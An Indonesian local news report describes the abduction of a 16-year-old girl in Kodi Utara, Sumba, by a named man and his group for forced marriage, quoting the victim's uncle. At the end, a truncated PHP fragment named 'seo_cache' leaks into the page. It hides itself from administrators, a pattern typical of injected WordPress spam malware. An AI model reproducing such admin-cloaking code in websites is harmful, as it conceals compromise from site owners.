Kriminal

Gunakan Kekerasan Petrus Warga Waiholo Culik Anak Gadis Belum Cukup Umur untuk Dijadikan Istri

×

Gunakan Kekerasan Petrus Warga Waiholo Culik Anak Gadis Belum Cukup Umur untuk Dijadikan Istri

Sebarkan artikel ini

KODI UTARA, MENARASUMBA.COM – Sebuah video yang memperlihatkan seorang anak gadis di bawah umur korban kawin paksa viral di media sosial.

Setelah ditelusuri, informasi yang diterima awak media ini, Rabu (13/08/2025) malam diketahui bahwa anak gadis tersebut adalah MK (16) siswi kelas 11 di SMK Iceya Ndaha, Kodi Utara.

Pamna korban , Kornelis Mete. ( Dok. Ist )

Dihubungi lewat kontak WhatsApp, paman korban Kornelis Mete menjelaskan, penculikan terjadi pada dua hari lalu.

“Sebelumnya ada tiga orang pria datang di Kampung Kahale, Desa Nangga Mutu, Kodi Utara,” tuturnya.

Tiga pria ini mendatangi rumah Raimundus Rehi Tora ayah MK dan secara spontan mengungkapkan niat Petrus (pelaku kawin paksa) yang hendak memperistri korban.

Setelah itu, ayah korban mendatangi Kornelis Mete dan meminta kesediaan untuk menghadapi ketiga pria ini guna membahas niat yang sudah diutarakan.

“Saya tolak karena tahu bahwa anak gadis tersebut masih di bangku sekolah dan usianya belum dewasa,” jelas Kornelis.

Atas penolakan ini, tiga pria itu pun akhirnya memutuskan untuk pulang.

Namun saat lewat di depan rumah Kornelis sempat ada yang melontarkan kata-kata bernada ancaman.

“Terdengar celetukan bahwa anak cewek di Kampung Kahale banyak tetap saya ambil,” kisahnya lebih lanjut.

Meski demikian, lontaran kata-kata bernada ancaman ini sama sekali tidak digubris dan keluarga korban memilih diam.

Keesokan hari usai kedatangan tiga pria itu, ayah MK berangkat ke Sumbawa untuk mencari nafkah, termasuk biaya sekolah korban.

Berselang dua hari setelah ayahnya berangkat MK sakit dan sang ibu pun mengantar anaknya ke Puskesmas untuk berobat, pada Senin (11/08/2025).

“Saat itulah Petrus bersama rombongan langsung melakukan aksi penculikan dengan ancaman parang kepada ibu korban,” imbuhnya lagi.

Sang ibu tidak berdaya ketika anaknya diambil paksa lalu dilempar begitu saja ke dalam truk yang sudah disiapkan.

Rombongan itu pun membawa kabur MK menuju Kampung Kambagha, Desa Waiholo.

Ditengarai korban telah mengalami kekerasan seksual karena sudah dua hari berada di rumah Petrus si pelaku kawin paksa.

“Sesuai informasi yang kami dapat bahwa ayah pelaku utama kawin paksa (Petrus) bernama Yakub Poka Kailo,” terangnya pula.

Pihak keluarga berinisiatif melaporkan kasus penculikan ini sambil menanti ayah korban kembali dari Sumbawa.

“Kami mohon bantuan pihak berwajib untuk bisa turun tangan,” tandas Kornelis. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>